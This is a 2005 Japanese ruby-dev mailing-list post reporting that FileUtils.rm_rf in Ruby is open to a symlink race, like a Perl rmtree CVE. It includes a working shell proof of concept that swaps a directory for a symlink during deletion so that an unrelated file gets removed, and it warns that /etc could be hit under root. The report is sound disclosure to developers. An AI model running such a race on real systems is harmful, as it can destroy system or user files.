From: Tanaka Akira Date: 2005-04-26T10:54:16+09:00 Subject: [ruby-dev:26100] FileUtils.rm_rf security problem ふと、CVE で perl 関係のを見ていたら、File::Path の rmtree に関するも のが目を引きました。 http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=rmtree なんとなく、fileutils にも似通った問題があるのではないだろうかと思って、 試してみると、やはりあるようです。 % cd /tmp % rm -rf a a- b % ruby -e 'Dir.mkdir("a"); 20000.times {|i| open("a/#{i}", "w") {} }; open("a/passwd", "w") {}' % ruby -e 'Dir.mkdir("b"); open("b/passwd", "w") {}' % ls b passwd % ruby -rfileutils -e 'FileUtils.rm_rf("/tmp/a")' & sleep 0.1; mv a a- && ln -s b a [1] 1449 % /home/akr/ruby/lib/ruby/1.9/fileutils.rb:735:in `rmdir': Not a directory - /tmp/a (Errno::ENOTDIR) from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:735:in `remove_dir' from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:684:in `rm_r' from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:676:in `each' from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:676:in `rm_r' from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:700:in `rm_rf' from -e:1 [1] + exit 1 ruby -rfileutils -e 'FileUtils.rm_rf("/tmp/a")' % ls b % 上記の例では、FileUtils.rm_rf("/tmp/a") が /tmp/b/passwd を削除してし まっています。 例えば、仮に root 権限で /tmp を FileUtils.rm_rf("/tmp/a") などと掃除 していて、すりかわるのが /tmp/b じゃなくて /etc だったら、などという状 況を考えると、なかなか危ないんじゃないかと思います。 -- [田中 哲][たなか あきら][Tanaka Akira]